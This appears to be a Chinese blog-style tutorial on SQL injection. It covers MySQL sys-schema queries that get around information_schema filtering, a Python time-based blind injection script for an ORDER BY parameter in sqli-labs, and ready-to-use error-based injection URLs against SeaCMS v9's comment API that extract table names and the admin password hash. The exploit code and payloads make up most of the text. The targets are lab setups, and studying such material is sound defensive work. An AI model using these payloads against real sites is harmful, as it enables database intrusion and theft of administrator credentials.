当前位置: 首页 > news >正文

绕过information_schema与order by注入以及seacsmv9注入

一:information_schema绕过

1,、sys数据库包含了许多视图,这些视图整合了来自information_schema和performance_schema的数据,攻击者可以利用这些视图来获取数据库结构信息。
-- 获取所有数据库名
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

-- 获取指定数据库中的所有表名
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name';

-- 获取指定表的所有列名
SELECT column_name 
FROM sys.digest_columns 
WHERE schema_name = 'your_database_name' AND table_name = 'your_table_name';
2、攻击者可以通过sys数据库中的一些视图来获取用户和权限相关的信息。
-- 获取用户和权限信息
SELECT user, host, authentication_string 
FROM sys.user_summary 
WHERE user != 'root';
3、攻击者可以将对sys数据库视图的查询与正常业务查询进行联合,以绕过一些简单的安全检测机制。
SELECT id, username FROM users 
UNION 
SELECT table_schema, table_name FROM sys.schema_table_statistics;
4、攻击者可以利用sys数据库视图的查询结果进行盲注攻击,逐步获取敏感信息。
-- 假设存在一个用户登录验证的漏洞
SELECT * FROM users WHERE username = 'admin' AND password = '' 
AND (SELECT COUNT(*) FROM sys.schema_table_statistics WHERE table_schema = 'your_database_name') > 0;
5、sys 数据库中的某些视图可以提供关于索引的详细信息,攻击者可以利用这些视图绕过对 information_schema.statistics 的直接访问限制来获取索引信息。
-- 获取指定数据库中表的索引信息
SELECT index_name, table_name, column_name
FROM sys.schema_index_statistics
WHERE table_schema = 'your_database_name';
6、攻击者可以通过分析 sys 数据库中一些反映数据库活动和性能的视图,间接推测出数据库的数据字典信息,即使不能直接获取到完整的表结构和列信息,也能得到一些有价值的线索。
-- 通过查看表的读写统计信息推测表的重要性和大致结构
SELECT table_schema, table_name, rows_fetched, rows_inserted, rows_updated, rows_deleted
FROM sys.schema_table_statistics
WHERE table_schema = 'your_database_name';

二:order by的注入

import requests
import time

def inject_username(url):
    username = ''
    for i in range(1, 50):  # 假设用户名最长为 50 个字符
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注 payload
            payload = f"if((ascii(substr((SELECT username FROM users LIMIT 0,1),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        username += chr(mid)
    print(f"最终获取到的用户名: {username}")

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli-labs-php7/Less-46/index.php'
    inject_username(url)

确定注入点:代码中通过 sort 参数进行注入,将构造的时间盲注 payload 传递给该参数。
时间盲注原理:利用 if 函数和 sleep 函数,根据数据库响应时间来判断条件是否成立,从而逐字符获取所需信息。

三:seacsmv9报错注入

seacmsv9漏洞文件:./comment/api/index.php

漏洞参数:$rlist

漏洞的源代码:

 session_start();
 require_once("../../include/common.php");
 $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
 $page = (isset($page) && is_numeric($page)) ? $page : 1;
 $type = (isset($type) && is_numeric($type)) ? $type : 1;
 $pCount = 0;
 $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
 //缓存第一页的评论
 if($page<2)
 {
         if(file_exists($jsoncachefile))
         {
                 $json=LoadFile($jsoncachefile);
                 die($json);
         }
 }
 $h = ReadData($id,$page);
 $rlist = array();
 if($page<2)
 {
         createTextFile($h,$jsoncachefile);
 }
 die($h);        
  
 function ReadData($id,$page)
 {
         global $type,$pCount,$rlist;
         $ret = array("","",$page,0,10,$type,$id);
         if($id>0)
         {
                 $ret[0] = Readmlist($id,$page,$ret[4]);
                 $ret[3] = $pCount;
                 $x = implode(',',$rlist);
                 if(!empty($x))
                 {
                 $ret[1] = Readrlist($x,1,10000);
                 }
         }
         $readData = FormatJson($ret);
         return $readData;
 }
  
 function Readmlist($id,$page,$size)
 {
         global $dsql,$type,$pCount,$rlist;
         $ml=array();
         if($id>0)
         {
                 $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                 $rs = $dsql ->GetOne($sqlCount);
                 $pCount = ceil($rs['dd']/$size);
                 $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                 $dsql->setQuery($sql);
                 $dsql->Execute('commentmlist');
                 while($row=$dsql->GetArray('commentmlist'))
                 {
                         $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                         $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                 }
         }
         $readmlist=join($ml,",");
         return $readmlist;
 }
  
 function Readrlist($ids,$page,$size)
 {
         global $dsql,$type;
         $rl=array();
         $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
         $dsql->setQuery($sql);
         $dsql->Execute('commentrlist');
         while($row=$dsql->GetArray('commentrlist'))
         {
                 $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
         }
         $readrlist=join($rl,",");
         return $readrlist;
 }

注入风险:($id、$page 和 $type 这些变量被直接用于 SQL 查询语句中,并且代码仅对这些变量进行了简单的 is_numeric 检查,没有对输入进行严格的过滤和转义处理,这就可能导致 SQL 注入漏洞。)

$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page - 1) * $size.",$size ";


$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";

报错数据库名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,extractvalue(1,concat_ws(0x7e,0x7e,database())),@`'`

报错表名:

http://seacmsv9:8015/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),%20@`%27`

因是表sea_comment为空,无返回值
在表sea_comment插入数据,再次注入查看

http://seacmsv9:8015//comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

进入MD5解密后得到

相关文章:

  • 使用open-webui调用大模型
  • Android ViewStub延迟初始化加载布局View,Kotlin
  • C++:开胃菜练习项目---定长内存池的实现以及测试
  • 计算机网络:从底层原理到前沿应用,解锁数字世界的连接密码
  • Linux 驱动模块稳定性检测框架 - 概要设计
  • Spring 原始注解详解与实战指南
  • 详解linuxC编程下的同步原语
  • RK3568开发笔记-AD7616调试笔记
  • Linux——高级IO
  • 【2025.2.25更新】wordpress免费AI插件,文章内容、图片自动生成、视频自动生成、网站AI客服、批量采集文章,内置deepseek联网满血版
  • C++ 练习1
  • 1.1部署es:9200
  • 峰值电流模式CCM BUCK的占空比D到电感电流的传递函数是怎么推导出来的
  • C++ 注释
  • KIMI K1.5:大规模强化学习在大语言模型中的应用与工程实践
  • HTTP 动态报错码的原因和解决方法
  • 【算法】793. 高精度乘法
  • 【Pandas】pandas Series add_suffix
  • DBeaver免费下载【2025最新版本】
  • DNS域名解析
  • 西宁做网站的公司捌君博力请/浙江关键词优化
  • 企业网站的首页设计/seo整站怎么优化
  • 联通的网站是谁做的/如何实施网站推广
  • 哈尔滨网站运营服务商/网站站长
  • 五百丁简历模板官方网站/自己的产品怎么推广
  • 配送系统网站怎么做/深圳做网站的公司有哪些